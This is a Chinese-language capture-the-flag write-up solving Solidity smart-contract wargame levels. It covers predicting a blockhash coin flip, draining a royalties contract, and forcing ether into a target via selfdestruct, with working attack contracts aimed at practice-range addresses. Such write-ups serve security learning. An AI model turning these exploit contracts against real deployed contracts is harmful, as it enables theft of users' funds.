function play(bool _heads) external payable ctf{
require(msg.value == cost, "Incorrect Transaction Value");
require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
//win
gameFunds = gameFunds.sub(msg.value.div(2));
msg.sender.transfer(msg.value.mul(3).div(2));
}
else {
//loser
gameFunds = gameFunds.add(msg.value);
}
}
还是一个简单的随机数问题,写个合约攻击一下就行。
一定一定一定一定记得写个自毁函数,不然钱就没了。
pragma solidity 0.4.24;
interface HeadsOrTails{
function play(bool _heads) external payable;
}
contract Feng {
HeadsOrTails constant private target = HeadsOrTails(0x6B1E8Df7b809bE6bECe0FBFd94e90d6a854b2CC3);
function attack(uint max) public payable{
for(uint i = 0; i < max; i++){
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
bool _heads = (coinFlip == 1) ?true:false;
target.play.value(0.1 ether)(_heads);
}
}
function() public payable{
}
function kill() public {
selfdestruct(msg.sender);
}
}
这题怎么说呢,我感觉有些怪。虽然说这个靶场的过关条件就是把目标合约中的余额给清空即可。
这个函数:
function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
funds = funds.sub(_withdrawAmount);
royalties.call.value(_withdrawAmount)();
uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid);
msg.sender.transfer(artistPayout);
}
如果我们直接转1 ether,那么会把这个合约的1 ether转给那个royalties
,之后调用getLastPayoutAmountAndReset
函数,得到的就是转入的总金额减去那边receive得到的钱,这部分的钱是转回了我们的目标合约中。但是
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid);
msg.sender.transfer(artistPayout);
这部分又转给了我们自己。说白了就是%80给那边,%20给我们。如果直接传1 ether,那么目标合约的余额就被清空了,成功过关。
不过有一说一这题目吃我钱就有点难受的,我的想法是这个函数是可以修改receiverToPercentOfProfit
的:
function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
receiver.push(_receiver);
receiverToPercentOfProfit[_receiver] = _percent;
percentRemaining = percentRemaining.sub(_percent);
}
虽然address private collectionsContract;
是private,但是可以读到,然后把它作为_receiver
传进入,_percent
传0,就能把他的那%80清空。然后再withdrawFundsAndPayRoyalties
传1 ether的话,就能把1 ether完全转回我们自己的账号的。
怪就怪在,我找的几个WP都是说直接传1 ether过关即可。。。虽然是虚拟即ETH,但是我ETH真的不多,所以想方设法把它转回来。。。可能写WP的那些师傅们ETH比较多叭。。。
操作比较简单,这里就不具体放了。
简单的逻辑:
function() external payable ctf{
require(msg.value == 1 szabo, "Incorrect Transaction Value");
if (address(this).balance >= winner){
msg.sender.transfer(address(this).balance);
}
}
szabo是:
需要让目标的余额>=5ether就可以把钱转会我们的,但是每次给目标转都只能转1 szabo,肯定不行。因此这里利用selfdestruct来自毁合约来实现强制转钱即可。
pragma solidity 0.4.24;
contract Feng {
address public target = 0xeB71766553dA11D743710592DA9FF16029aEBA25;
function kill() payable {
selfdestruct(target);
}
}
转3.5 ether。
然后再自己转给目标1 szabo即可。